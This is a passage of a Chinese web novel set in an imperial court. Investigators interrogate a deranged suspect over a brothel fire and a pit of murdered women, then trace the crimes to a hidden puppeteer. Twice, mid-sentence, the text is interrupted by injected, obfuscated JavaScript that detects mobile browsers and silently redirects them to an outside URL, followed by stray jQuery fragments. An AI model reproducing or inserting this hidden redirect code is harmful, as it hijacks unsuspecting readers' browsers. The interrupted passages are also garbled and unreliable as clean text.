“啊?芳……芳樱楼!”周裕之动作很大,但身子被捆得扎实,他只好像个大蛆在地上翻滚蠕动,他一边滚又一边嚎叫,两个被线缝得严严实实的眼缝居然因情绪激动再度流了血,“不是我!不是我!我没有放火!我什么都没有做!!!” 章念已经抓起本子抄录起了供词。听及此处,颇为不耐烦地挠了挠耳朵,还跟身边其他人吐槽起来:“你们看,每个有罪的人最爱说的就是这句——我没做,我什么都没做,我没罪!” 陶明案运筹帷幄,他虽不知芳樱楼纵火案细节,但其常居之地“融玉阁”下葬花魂无数却是板上钉钉的事,他明了此子神志不清,问明白了也是不会承认的,他打算诱导其主动承认罪责。 他道:“你若无罪,李氏长子又怎么会死?!樱楼大火肆虐,客人之中却唯你逃了出来,手中举斧,你可知,李子脖后便有斧痕?!” 周裕之欲要跪地,可腰腹使不上劲,只好滑稽地仰在地板上,两只肥胖的肘子在肮脏的褥子下抖动。形容凄惨,叫人不忍直视。他竟然哭了:“大人啊大人!!!冤枉冤枉!不是我,我没有杀人!!!李乾不是我杀的!我他娘的根本都不认识他!我不认识他!” “……是,是女鬼!我知道了,一定是那只女鬼要陷害我,一定是!!!” 众人安静片刻。 章念诡异出声:“女鬼?这说辞怎么跟刘翁写的遗书差不多?” 关阇彦:“刘翁口口声声说自己是被鬼逼死的,但杀他的却是买了龙骨香的阳春菊。我看,周子如今疯状跟刘翁不相上下。动手的人八成是同一个。” 这是新线索,魏郁春有感而发:“俩人都是先疯,后才有自杀的趋势。” 要是继续给周裕之宣扬一些关于女鬼的邪门东西,他还真会学着刘翁自杀。 杜明堂插话:“阳春菊?不是个男人吗?怎么又变成女鬼了?莫不是洞市的董十郎骗了我们?” 关阇彦:“诸位有所不知,婚宴当夜我亲眼见过阳春菊一回。” 陶明案看他:“哦,莫非关兄就是那晚在关府逃窜的奸细?” 关阇彦亦看他:“关府机关重重,我以一己之力从中脱险岂非英雄大气?怎是逃窜了?” 他险些要冷笑出声,但碍于外人在场,他继续说正事:“阳春菊此人不以真身露面,其造人偶,惟妙惟肖,一手拈花一手提灯,偶上有线,他牵拉此线来操控人偶,技艺高超,善金蝉脱壳之法,所以难追难抓,那晚我便是中了他的计,差点落于敌手。人偶可伪,男女皆可,形容比鬼更瘆人。” 杜明堂:“我明白了,这人男不男女不女,跟周裕之接触的说不定就是他造的假女偶。” 关阇彦颔首,示意陶明案继续审问周裕之。 “女鬼是何来头?” 陶明案紧盯周裕之,任那贼眉鼠眼之相往哪里逃窜,他都不会放过其半分,周裕之就算瞎了眼也能感受到身前那叫他无法抵抗的压迫力。 他听陶明案又喝:“她为何要害你?生人化鬼必遭炼狱之灾,你若双手不沾血,她们为何要来寻你?报复二字,你心里岂不明白?你道未害李子李乾之命,却言灾祸乃女鬼一手造就,而芳樱楼一案中死去的除了李乾便是百来只为火海所困的女子们,既是她们的鬼魂来寻你,岂不是道是你放的火害的他们?!大胆周贼,纵火之罪你可认?!” 这可是道送命题,本先,陶明案也认为芳樱楼杀人纵火皆出自一人之手,可看周裕之的反应不太一样,他决定继续变通。他此话一出,意思明了,周裕之倘若不认杀李之罪,便是默认了自己就是芳樱楼放火之人。 如若他两桩事都不承认…… 周裕之果然尖啸一声,他清楚,杀李乾的罪责,可远远没有一把火烧了京城第一花楼芳樱楼的大:“大人!冤枉冤枉!那火也不是我放的呀!我没罪!!!女鬼……女鬼,是我偷偷葬在融玉阁下的娼妓,这些娼女不要脸!得……得了便宜还卖乖!恩将仇报!” 是了,如果周裕之两罪都不认,为了解释女鬼来源,他便只好主动承认她们是被自己害死的那几十具女尸。痴傻之人不会说谎。 他果断透露此罪,第一是觉得娼妓便是娼妓,是猪狗不如的东西,此罪远没有上面两个要命。第二,芳樱楼纵火案的确不是他的所作所为,因为融玉阁死尸一罪他一旦认下,便是彻底葬送了他家的前途,毕竟那些死尸的数量不是个小数目,各个被虐杀致死,且其中还有近十岁的幼女,有悖人伦。他再痴傻都不可能不清楚此道理,除非他已是畜生之辈,不懂人伦之理。 关阇彦开口:“中晋先帝仁爱宽厚,罔顾人伦天理正其最最痛恨的罪孽,更是被当朝圣人当成神诏奉行着。圣人虽多疑忌势,但从不违逆先帝遗志,即便热衷杀人灭势,却从不虐杀。” 章念补充:“周家势力灭黑水寨其实就是投其所好,圣人看不顺眼此野地,周家替他灭了个干脆不说,还给他进献了各种美言,无一不是靠着顺应天道而行在夸。周家表里不一,得圣人多时之宠,融玉阁埋尸在这群权贵眼里虽看似小事,但真真是彻底撕碎周家假面的关键之处,圣人知道了,周家就不得势了。难怪周裕之杀完人还要用特殊工艺把那些尸体深埋处理呢。” 他语速很快,说着说着有些入迷,又恨恨咬牙:“周家猖獗,圣人其实都清楚,迟迟不灭难道仅是缺个理由那么简单吗?如果融玉阁的事不被泄露出去,外界风声消停,圣人其实根本不会惩戒周家的。我看圣人其实比周家还要表里不一……” 陶明案低声喝止他:“章司务,谨言慎行。” 章念嘀嘀咕咕:“这里又不是在外面,说点什么有啥,要不然得憋死了!!!” 关阇彦想起来圣人对关家所作之种种,不得不承认章念的想法是对的。 圣人其实本质昏庸,却格外在意外界的评价,他想当一名好皇帝,所以才常言要将先帝之志当作自己一生信奉的信条,深受百姓爱戴,之所以忌惮大势,不过是惧怕前朝遗族会将其与先帝对比,再拆穿他精心打造出来的假面罢了。 圣人要陶司职受命调查芳樱楼,看似是真的忌惮周家了,其实是察觉到有一个绝妙的机会能匡扶“正义”。 一旦周家出事,他立马从隐身的皇家幕帘出席,一手大义灭亲的好戏上演,岂非又是座无虚席、深得了民生之喜? 关阇彦皱眉悄悄瞥了陶明案几眼,他脸色微愠,怒色之下还有一种捉襟见肘的窘迫感。看来他很清楚圣人的昏庸之能,还有其对待周家的犹豫之态。 他要是败了,那肯定是要死的。 要是赢了,圣人便会立马夺走他的功劳,再敷衍地将其打发走,世人只记得圣人的明智,却不知道天底下还有个贫困又死脑筋的陶司直。不管怎么样,都是没个好结局的。 那他到底图什么呢?!他真是在拿命赌他的正义! 不得不承认,陶司直的死脑筋居然处处充斥了令人敬仰的人格魅力。 章念想起来不好的回忆,攥着衣摆愤懑地转圈蹬地,嘴里嘟囔:“我都不知道我真是倒了几辈子的霉头,还是脑子磕坏了,才要跟陶司直你来干这些吃力不讨好的事!” 陶司直默然,似是愧疚,又似是愤怒。 关阇彦破天荒地主动走近了他,目光里是那份难逢敌手般的傲赏,拍了他的肩,道:“陶司直乃大丈夫也。” 陶明案愣然看他。 此时,杜明堂也颇有感触地拍上了他另一只肩头,颔首而笑:“陶司直好样的。” 魏郁春也站出身来:“我本以为陶司职会就阳春菊跟女鬼的问题质问周裕之,却没想到你另辟思路,将女鬼与深埋底下的二十来具女尸联系起来,何尝不是心系民生的体现?娼妓之流,鄙夷者多矣,我身为女子,同情她们,也由衷感叹陶司直的大义。” 章念方还在抱怨,看到大家团结一心的模样,反而是又愧疚了起来,眼含热泪地贴到了陶明案身上,像个小孩子一样撒撒娇又嚎来嚎去,惹得众人哈哈大笑。 时间过去半个时辰,五人把该使的手段全抛了出来,把那周裕之折磨得连连求饶。 章念奋笔疾书依旧,本子上已经记得满满当当,内容也是丰富至极,整理了周裕之自以为无罪的供词。 起初此人不承认当晚他出过融玉阁,但后来又突然疯病发作,说自己看到了女鬼,看到了什么披着红纱漫步阁中的乌龟大仙,还有什么长了多足的长虫口吐焰火,疑似是幻觉。 他道那晚,那女鬼诱他出了门去,然后楼里就起了大火,他被困火海,莫名其妙就瞎了眼睛,怎么怎么样的,总之言辞闪烁,不知道在嚷嚷什么疯言疯语,逻辑更是乱成一锅粥,几个人连番分析整理都没搞清楚他到底要表达什么东西。 一言蔽之,他还是说自己无罪,是女鬼一手操纵了火局,他是被嫁祸的,被牵连的等等。 又谈及融玉阁下的女尸们,此人给出的供词同样是莫名其妙的,意思是,他给她们赏了不少好东西,足够买了她们的人命,玩一玩耍一耍是理所应当的事,不该死后化作怨鬼来寻他报仇。 一言又蔽之,他坚信坑害他的女鬼就是他害死的女人之一。 问是哪只鬼,他又嘻嘻哈哈说自己玩死的女人那么多,哪里记得请是哪个,气得陶明案连连踹了他好几家伙,把他那嘴散着腐气的烂牙踢碎了数颗。 关阇彦想到,关昀洲颇为在意周裕之的事,便抱着试探的念头,问他可有得罪过安南都督。 其余人被周裕之口中嚷嚷的奇闻异事吊走了胃口,差点忘记了这桩事体。毕竟此案涉及方面太多,稍有不小心就漏了细节,难查的地方就在于此。 此时,周裕之的答复另众人膛目结舌。 他说,几个月前,他做了噩梦,梦中的女鬼再度纠缠他,要他去朔州府看安南都督跟魏氏的订婚宴,他神志不清,分不清梦醒还是梦中就上路了,也就是那个晚上,他躲在了关昀洲的寝室外,亲眼目睹了他换皮的过程,他吓得连连逃走。 后来他就回了京城,深感莫名其妙,还差点将此怪事说出去,结果又遭遇了女鬼突袭,乌龟仙人出现等常人所不能理解的异事……总之,关昀洲的换脸怪事,他没有说出口去,毕竟等他稍微清醒点的时候,他就差点被樱楼大火烧死了。 看周裕之此形,问他了他还真就答了,估摸是被陶明案揍怕了,不敢再造次,他答的话是一如既往的胡乱朦胧,听得人也不知道是在做梦还是没在做梦。 可他既然说出了关昀洲换脸的事,而且时间完全对的上,就应该是他真的亲眼看到了这些。 所以,关昀洲之所以要陷害周裕之,是因为怕换脸一事被其泄露出去,故而打算加重他的罪名,逼圣人处置掉他。 魏郁春想到了自己在婚夜给关昀洲送去的消息。 她惊愕:“我本以为关昀洲是害怕他昨晚放化尸水的行径暴露,所以才会格外在意翌日春桃酒宴上的闹剧。于是故意将隐华画师的秘密跟周裕之牵连起来,让他更加畏惧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447464|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 关阇彦:“但没想到,这两者真的有关联,而且关昀洲对此还很清楚。他本就心惧,你的那些言论其实是推了他一把罢了。 杜明堂沉吟:“本以为关昀洲跟周裕之的仇怨起于芳樱楼,而未想到,他们二者有这段往事……” 关阇彦:“嗯,原先我也一直如此认为。” 魏郁春正在沉思,杜明堂和关阇彦方说了话。话音齐落,三人才注意到陶明案和章念盯着他们的诡异目光。 完了,露馅了…… 陶明案把章念护在了身后,立马道,语气警惕不已:“关昀洲?!这是何人……还有周裕之方才说安南都督换脸……什么意思?你们为何是如此理所当然的模样,你……你们瞒了我们什么?” 这还是陶明案头一次在他们面前表露慌张,不,严谨来说,这还是他几年来第一次在外人面前表露这种情绪。因为,这些消息实在太过震撼,以至于他都要怀疑是不是自己在做梦了。 其实,这也不怪关阇彦有失防守,而是他本就没想过此事还能瞒陶明案多久。芳樱楼案若想破,就必定要借助陶司职那边的人脉,日后彼此朝夕相处,身份泄露是迟早的。不过,关阇彦也没想到会这么快。 反正这事也是他主使的,他身侧的魏郁春跟杜明堂都齐刷刷主动退步,然后一个静静垂眸,两耳不闻窗外事,一个呢则左看看右望望,一副闲散样。 关阇彦看了他们二人作态,扶额苦笑间,也将覆在脸上的面具解开了,丰神俊朗之貌坦然外露,天生的厌世力与攻击力让人一看便知,他就是那个传说之人挡杀人,神挡杀神的世家都督。他根本无需辩言,便自然而然拉开了关昀洲那个西贝货跟自己的差距。 章念结巴:“你你你……你怎么长得跟安南都督一模一样?” 陶明案一时不作声,关阇彦看他:“怎么,不过是拿走了个面具,你们就不认我了?” “关昀洲……莫非是现在正在假冒你身份的人?” 关阇彦将面具抛开,双手得空,便自然而然抱臂起来,他笑得自洽:“是。” 外面天色将暗,已无空跟他们解释这些长篇大论的东西,而杜明堂刚好无事,就被叫过去,跟陶明案还有章念二人念叨起来他跟关阇彦在南禺险中求生的故事。 可巧,眼下也就关阇彦跟魏郁春还守在周裕之身侧,魏郁春正见他眉间清朗,似有守得云开的月明之色,他道:“我还有一事需得验证。” 关阇彦竟拿出了上次去洞市戎嬷嬷那处搜刮而来的龙骨香余末,他启开密封的瓶子,好不容易搓下几粒粉末,塞到了周裕之鼻腔内,叫他好好闻闻。周裕之咿咿呀呀的,缺了眼珠子的缝线眼直直翻飞,一副灵魂出窍的样子,他很是着迷于此,也表明,他知道这个味道,很熟悉,一闻此香就仿佛身临仙境。 诸人还以为是他被阳春菊下了此香,结果一问才知,他唤楼中女子去他阁中表演、任由他玩弄时,他就拿这种香迷晕这些女人,在与这些女人们云雨之时,他会嗅进此香,同女人们一起沉沦飘飘欲仙的云海。 五人质问他此香何来,他却诡异地笑着说——“龟大仙给的,你们也要吗?” 至此,他就只会嘻嘻哈哈地傻笑,无论别人问什么,他都不回答了。 关阇彦跟魏郁春眉头齐皱,因为他的情形跟洞市那个神棍模样的阿拉翁相似,都是卖着关子就不继续说关键了。 章念一边听杜明堂说话,一边吐槽一波:“咦,怎么又变成王八大仙了?神经病吧,难不成那阳春菊还有做龟偶的癖好?” 关阇彦笃定:“龙骨香唯阳春菊所有,管它是男是女,乌龟蜈蚣的,一直在背后搞鬼的一定还是他,此人狡猾,从不透露真容,莫要被蒙蔽了判断。” “周裕之神志不清,分不清现实与梦境,应是早就被阳春菊下了龙骨香。阳春菊借此令周裕之去拆穿关昀洲的真面目,同时还不会自暴身份,即便途中他真的出现了引导他去做这件事,周裕之也会对此毫无知觉。” 魏郁春预感不妙:“而这段时间,关昀洲刚好容貌期限将至,又急于寻找隐华画师复原面容。” 其余人齐声道:“如此掐点,莫非是阳春菊算好了时间,借周裕之刺激他,逼他去寻隐华画师?!所以也有了接下来杜宅账本失窃、放化尸水,还有春桃酒宴胜如意瓶的事发生了。” “如今,我算是可以确定了。阳春菊才是这一切的始作俑者,芳樱楼失火是他所为不说,他还特地将周裕之安插在此,让别人以为与他有关的关昀洲也参与了楼火案,一箭双雕,统统嫁祸,金蝉脱壳,好生熟悉!” 关阇彦吃过那阳春菊的亏,再谈此事,口吻严厉,隐有恨意。 魏郁春道:“早先我便猜测过,关昀洲在最初并不知道面皮的制造者是隐华,如此就不可能存在谁刺激谁的道理。这背后是有一个能告诉他隐华画师秘密的推手的,而这个推手毋庸置疑就是阳春菊。他想利用关昀洲,就定要抓住他的弱点,他先让周裕之警告他,然后再出现,告诉他要恢复容貌的原因。” “真正的穷途末路是周裕之窥得身份秘密,还有面皮期限将至的双面夹击,从不是单单其中一个原因。” 陶明案评价:“威逼利诱。” 其实此时,他讲话略有些放不开,好似还忌惮着关阇彦瞒他身份的事。 眼下种种都已推出阳春菊便是幕后主使,但关阇彦依旧咬定:“阳春菊充其量不过是此事的主心骨,真正的势力所在还藏着呢。” 杜明堂哀叹:“如果在最开始给关昀洲伪装身份机会的人不是阳春菊,他后来又怎么告诉关昀洲面皮的来源是隐华?” 魏郁春可是跟关阇彦一起,亲耳听过南禺盘龙山通仙大人所作所为的人,她思路老道:“那就只能说明阳春菊,和去年秋末泄露消息利用关昀洲的人只是一伙的,但绝不可能是同一个人。” “一伙的?”关阇彦回忆起南禺邪术与信徒们的种种事情,觉得可笑,“说不定也是利用关系罢了。大势之人利用阳春菊,而阳春菊再利用关昀洲,环环相扣,如此才合理。若阳春菊真是大势所在,是不可能让我们发现他的存在的。” 事已至此,他们便无需再继续留在这处阴阴森森的寨子里了。 末了,关阇彦顺手把周裕之揍晕过去。 杜明堂收拾残局。 而陶明案正督促章念加速言述周裕之迫害楼中女子的文字,章念压着下唇,分外专注,嘴里念念有词,把周裕之的混蛋行为一字不差地写得明明白白。 当然他情绪激动,保不齐会在里头搞点添油加醋的东西。 魏郁春直抒己见:“周裕之坚称李子非他所杀,我们也许应该重新彻查一番李子的死因。” 陶明案一听,察觉这应是他能办好的事,忙道:“此事交由我来办,验尸的仵作会留下笔记,我寻来即可。” 魏郁春对他一笑。 关阇彦看着他们二人你来我往的情形,方才还对陶明案赞赏有加的心情突然烟消云散了去,他冷哼一声。 夜风袭地而来,雾气腾空,蝙蝠起夜,螺旋起飞,在天空围成漩涡模样,叫声呕哑嘲哳,听得人背脊发凉。众人趁着夜色之前散去。 122. 幼女骨菊 与陶章二人辞别,一路回去,已无雨气,三人在车内,皆是自己人。 关阇彦这才把一直藏在心底的秘密说了出来:“放化尸水的人,不是关昀洲。” “你说什么?!”魏郁春跟杜明堂两脸震惊。 心情平复下来后,魏郁春道:“你方才怎么没有说,若陶明案章念他们在,定会有所帮助。” 关阇彦靠坐对岸,好整以暇地盯她:“怎么,没了陶明案他们,我便办不了事了?” 他说的是气话,但对魏郁春说的时候却毫无火药味,活似一句他信口抛出的热络话——没了火气,这话听起来倒像是在跟亲近的友人打趣。 杜明堂一副看戏样,因为历经古寨渡江等事,他总算是看明白了,现在哪里是冯姑娘要倒贴他关都督的事,倒是关阇彦自己开了窍,来主动勾搭人家姑娘了。不然,他干嘛老是字字句句离不开陶司直?还老想着跟陶司直怄气较劲?这明显是醋了呀!!! 他暗暗瞥了魏郁春一眼,十分不好意思地想到,先前还真是误会了冯姑娘呢。 关阇彦已经说了话:“陶章二人不知关昀洲是我弟弟,以后就算闹了大事要惩戒他,也好及时撇开他跟关家的关系。陶明案这人虽清廉,但实在古板,什么事都刨根问底,知道太多对关家来说可不算好事。毕竟我那弟弟的出身,实在是有些难以启齿。” 他谈及弟弟,语气虽平淡,但用语却处处不客气,听得出是你若无义便休怪我无情的意思。 魏郁春听罢,只觉得此话术分外熟悉:“又是你家那一夫不容二妻的传统?” 杜明堂闻此形容,难免偷笑,他抬着扇子掩了半边嘴角,竟有些不符男儿的娇羞气,见关阇彦那头目光飕飕过来,他立马装作昏睡,阖了眸子,定了身子,仿佛连呼吸都能停了。 关阇彦将其视若无物,本要继续说话却被魏郁春兴致缺缺地摆手打断:“关都督不必多解释,关氏与魏氏联姻的故事我已在杜宅听了不下数十遍了。” 关阇彦笑了,还笑出了声,他一点都不难堪:“我还未开口,冯姑娘怎么就觉得我要说的是这些?” 魏郁春莫名看他,眼神里是藏不住的抗拒之意,这些情绪如同锥子一样落在关阇彦心里,他为此感到烦躁,毕竟实在有些扎心。 他收敛那副个性明朗的笑,正色道:“金玉圆那个事跟我没关系。” “嗯?” “你白日里不还说我花心勾搭外人么?” “哦。” 所以呢? “我关阇彦可是从来不解释的,你给我听好了,”关阇彦往前倾了倾身子,魏郁春便在他对面,车子一下一下地颠簸,关阇彦便一下一下地靠近她,直到逼她跟自己完全对视,他直言不讳,“金小姐有个表姐,乃当今圣人皇后表亲的后代,那表亲曾听闻圣人有意为我赐婚,便让其女靠近我,但很不幸,我在未出世时圣人便要我与魏氏联姻了。不过,那女子貌似对我很心仪,但我对她没意思,也不能有意思,拒绝了,没有解释,此女大受打击,连同着她亲近的表妹都对我有了意见。” “听懂了吗?” 魏郁春眨眨眼,完全不想被他那富有侵略性的目光紧紧盯着不放,她竟心虚了,可她还是一如既往地逃不掉。 她不自然地道:“嗯。” “还有,我与魏氏的联姻是迫不得已的,此生挚爱?” 他忽地停顿,喉中似乎卡着什么极度隐忍着的耻笑,带着那种被什么脏东西缠上后甩不掉的耻辱感和厌烦感。 他道:“开什么玩笑?这段联姻里,谁都可以如愿以偿,唯独我不行。” 他每一个自带内涵之意的话,全部默默对应上了白日里魏郁春跟杜明堂吐槽阴阳每一句。这可不是凑巧,而是他真真切切的刻意行为。 魏郁春在无人看见的地方,攥住了身下的衣摆,她鼓嘴强撑:“你全部听到了?” “不然呢?” “那算你厉害了。” 考虑到关阇彦的幼稚思维,一句不够,她还分外贴心地补了一句:“你真棒。” 显然这些回复,还有她的态度,都不合关阇彦的心意。 他再度重申:“我,关阇彦,从不曾故意勾搭过其他什么七七八八的姑娘。” 魏郁春刚要下意识顶嘴,他曾不止一次撩拨自己,可猛然间,她就意识到这句话是万万不能说出口的。 因为“其他”二字貌似已经将她排除了“七七八八”的队列。 一旦她开口说了,就更是承认关阇彦只撩拨她自己一个人了?! 一个男人只撩拨一个女人,什么意思,是个傻子都懂,那不就是这个男人喜欢这个女人,是天造地设的一对吗?不,这可真可怕! 而且车里面,还有第三者,那就是身侧正在装睡的杜明堂,此时她已经听到窸窸簌簌的呼吸声了,杜明堂根本装睡不成,他一直在憋笑!他分明也是知道了关阇彦那句话引申出来的歧义!她在无意间竟又被关阇彦给撩拨了?! 况且,关阇彦说他不曾就真的不曾吗?谁能给他作证?!说不定在他的认知里,他对她的所作所为也什么都算不上呢,当初在避暑宅的温香阙前,他不就曾这么不要脸地和她说过这些吗?! 她没有读心术,听不到身旁杜明堂的心声——说实话,从小到大,关阇彦的确不是个主动招惹女人的人,最多是这厮太会出风头,引人注意罢了。他还真就没见到过除了冯姑娘以外,能让关阇彦主动撩拨的女子了,要知道,平日关阇彦是个连跟除了他娘以外的女人回话都不屑回的死犟种! 魏郁春吃了个哑巴亏,而关阇彦身为局中人,还未能意识到他话自带的歧义,显得理直气壮。 魏郁春恼羞成怒,红了半边耳根子,大声道:“还是说正事要紧!” 关阇彦被打断,还有些不悦,可他刚闭嘴就察觉到了不对劲的地方,他沉默几许,心想:“我刚刚……都说了些什么……” 他也有些尴尬,旋即仰回身子,速度快得恨不得能退到车厢外。他抹了一把脖子,装作无辜,说道:“婚夜我跟阳春菊正面交手过一次,我爹娘刚好被关昀洲迷晕在屋内,阳春菊有意潜入府中放火烧死他们。” “什么?!”杜明堂不装了,立马腾醒。 婚夜的经历比较繁杂,关阇彦只是大概和别人说了关于阳春菊金蝉脱壳的事,并没有详细地把这些细节也说出来。杜明堂跟魏郁春都感到哑然也是理所应当的事,毕竟他们也轻信了关昀洲的假话,以为关氏夫妇是因为瞧不起魏氏便未曾到场。 “关昀洲伪装身份不易,奈何不了我爹娘,所以最多是为了避免暴露而将他们迷晕,却不可能将他们杀了。关家的顶梁柱出事,他再有一张像我的脸皮都不可能独善其中。但阳春菊却趁其不注意杀人,目的就是让关家彻底倒台。显然,关昀洲并不知道此事。方才也说了,阳春菊就是协助关昀洲窃取杜宅账本、获得隐华秘密的帮手不是吗?阳春菊看似帮他,实际上一直在害他。” “即便如此,又如何证明化尸水非他所为?”魏郁春问道。 “掮客。” “陶明案帮我们查过,说过关昀洲换了掮客,灯市上的商贩接的第一个任务,就是在芳樱楼前用灯传递消息,消息仅负责送到指定地点,最后交给对应的武夫办事。办事的武夫是第一任掮客留下的人,但此掮客却消失了。” 关阇彦双手交叠在腿上,目光犀利,破案已是大势所趋,他难免有些兴奋。 “在这场合作关系中,关昀洲才是一直被动的那个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447465|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 按道理,作为中介人的掮客无法决定和妨碍主顾发布的命令,本该直接听命主顾的武夫却成了主顾关昀洲无法干预的存在,完全是倒反天罡了。除非,真正发布命令,遣武夫办事的是那第一任掮客。” “这种情况下,你觉得第一次到樱楼前的关昀洲,能有什么本事派人把化尸水撒到精准定位后的尸坑里?二三十来具多年无人问津的尸体,突然重见天日了?要不是很了解周裕之的人,谁能找到这个尸坑?根据周裕之的供词可知,非常了解他,还能把他当狗使唤着听话的人,除了伪装成女鬼、乌龟蜈蚣的阳春菊,还能有谁?” “真是凑了巧了,阳春菊又刚好在利用关昀洲,第一任掮客,除了他又还能是谁?” 魏郁春豁然开朗:“我明白了,阳春菊莫非是在牵引我们认为放下化尸水的人是关昀洲?就像几个月前,故意牵引周裕之发现关昀洲秘密一样。” 关阇彦对此不置可否,可他更倾向于另一种猜测:“以我对阳春菊作风的了解,除了牵引外,还有就是推脱责任。他突然脱身,不知用了什么法子让关昀洲去芳樱楼待命,不还是老路子,想金蝉脱壳?只要别人确定关昀洲就是放化尸水的人,他就可以完美隐身了。毕竟,他要瞒的对象可是大名鼎鼎的陶明案。” 杜明堂微眯双目,胸有成竹地总结道:“我承认阳春菊的手段很厉害,但他的缺点亦很明显,太不懂得变通,做什么事都是一个路子,一个想法,一种计策,雷同至极。” 魏郁春惊道:“阳春菊不可能不知道当天陶明案就守在芳樱楼,他是故意让他发现周裕之藏着的尸坑的……为什么?即便暂时瞒过了陶明案,尸坑也暴露了他的身份……” 说及此处,她已有些哽咽,似什么话已成她不能说出口的有悖道德的话,这种如鲠在喉的感觉让她不禁停顿。 而关阇彦自然而然地接住了她想要说的那句话:“他恨极了周裕之。” 为什么恨,难道还不清楚吗?尸坑里必有一个姑娘是阳春菊至亲至爱之人。 关阇彦还是忘不掉第一眼看到尸群中那簇突兀而耀眼的阳春菊的心情……那群阳春菊穿过了十多岁幼女的胸骨,恣意生长,繁花万丛,但种子其实一直是被她紧紧攥在手心中的,活似在抓什么宝贝一样,那么珍视……阳春菊,刘翁那里也有。而他刚好有一双被他害惨了的儿女。 那对儿女里,女儿生死不明,儿子下落不明,他也许真就像他们最初所预料的那样,成为了作恶多端的“阳春菊”,找着刘翁复仇,找着周裕之复仇……他那么精明的家伙,分明可以选择用其他的方式害死周裕之,却特地在陶明案面前袒露尸坑里的秘密。 他知道陶明案也恨周裕之,可他能做的到底有限,而若是给陶明案提供这些线索,那便能帮他获取更多扳倒整个周家势力的把握。他得多恨周裕之,才会让现在的周裕之又疯又瞎,生不如死……才会不惜一切地要整个周家去陪葬…… 给谁陪葬呢?应就是芳樱楼下那具被花海缠绕的幼女吧? 现在,他们终于可以确定那具最为年幼的无名尸到底是谁了。 她是…… 刘翁的女儿,阳春菊的妹妹。 可惜,他们还不知道她叫做什么,该如何称呼她。 原本还气氛活跃的车厢内陷入死一般的沉寂,魏郁春不敢想象那么小的孩子,到底吃了多大的苦。 自幼被亲爹抛弃后,又在那种地方被周裕之这种畜生蹂躏至死……她觉得现在仿佛呼吸一口气,都像是一种罪责。 杜明堂已经气得满脸涨红,他从未有过如此失态的时候——真正意义上情绪怒火所驱使的失态:“都是他妈的一群畜生……畜生!能不能现在回去就把那个周扒皮给灭了?!” 答案当然是不能。 123. 融玉菊荷 归家后的当夜,关阇彦便将尸坑幼女的身份可能是账房先生刘翁之女的消息送去了陶明案那里,同时也表明,臭行昭著的阳春菊可能便是为此女复仇的刘翁之子。 至于用的什么理由,他当然没有提关昀洲的问题,而是用先前便有过的推测——由阳春菊充当介质的刘翁一家三口的关系,给予了解释。 要知道,陶明案先前不知他跟杜明堂身份,账房先生屋内放着的阳春菊、还有他出身隆安寺的来历,他当然也不清楚。他们之间存在的信息差,完美地帮关阇彦掩饰了想要隐瞒的秘密。 所以,关阇彦的措辞很是谨慎,从头到尾都是用的“可能”、“猜测”等诸如此类的字眼,让陶明案清楚个皮毛便够了。 他、魏郁春还有杜家人虽都已断定了阳春菊与其妹妹的身份,但并不想说得真那么实在,不然陶明案定是会怀疑过来的,谁知道他会不会抓着关昀洲的事去指控关家?此人直脑子,偏偏还不惧权贵,他是不怕什么,关阇彦倒是怕了他了。也是难得中的难得。 此信一发出,陶明案竟立马从破陋的床板子上腾起来,径直出发去大理寺,愣是把睡着的章念也拉起来,一起挑灯夜读,把从仵作那头搜罗来的各种尸检报告一件一件翻找起来,翻到天亮时分,才将夹杂在万千惨死人生里的“李乾死因”掏了出来。 章念快要猝死,看到大事已成,刚要翻个白眼睡过去,结果又被陶明案千里迢迢地拉着,上车赶到了杜宅。 杜宅子里的鸡都没醒,陶明案一阵阵敲门声可是把大伙都唤了起来。 关阇彦精神头不太好,毕竟昨晚也睡得很晚。谁也想不到陶明案这厮好似是个能为工作卖命的家伙,杜宅的老爷跟夫人有些抱怨,但一清醒还是亲自把人给迎上了门来。 陶明案一手背着,一手抱着一只册子,步态庄严,面色刚正,怎么看都不像是熬了个大夜的模样,反观章念小兄弟,倒是一整个怨气冲天,将要飞升的死样子。 众人以为他要郑重其事地在杜宅议事,却不想他开口就是一句:“速速启去芳樱楼查案。” 他干劲十足,一是觉得线索完备了许多,二是,他为刘翁一家的惨案而感到痛心。 若不快些断出李乾真正的死因,也无法找到大火的元凶“阳春菊”,如今众人皆称之为“刘子”。找到刘子,使其不再为非作歹,再搞清楚他与尸坑幼女的关系是否真是兄妹,以此归还尸身给他,再借其口吻完善周裕之罪行,完成这些后,刘子若肯回头是岸,他倒也能在结案的时候给他争取一个不太痛苦的死法。 包括章念、杜明堂还有魏郁春在内的其余人虽,因为床气而有些头脑发懵,但都希望案子的进程能再快些,见陶明案一身潇洒劲儿,也都被感染起来。 昨日方于黑水古寨组合的五人组前往芳樱楼。 欢门废墟之中,阴邪之气本就不是一天两天能散去的东西,踏入其中,阴沉的湿雾被败落的大门关锁其中,方是进去就已有伸手不见五指之样,楼内楼外仿佛两个截然不同的世界。但幸好上次来时的恶臭尸味已经消散,毕竟尸坑后来已被陶明案带人收拾干净了。 此时,陶明案站在五人中央,展开李氏之子李乾意外死去的爰书,内容简略,说白了他的死因在仵作看来不是什么玄之又玄的东西—— 